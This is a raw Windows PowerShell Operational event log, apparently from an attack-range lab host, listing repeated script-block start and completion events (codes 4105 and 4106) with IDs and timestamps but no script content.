LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048039
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048037
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048036
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048019
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048013
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
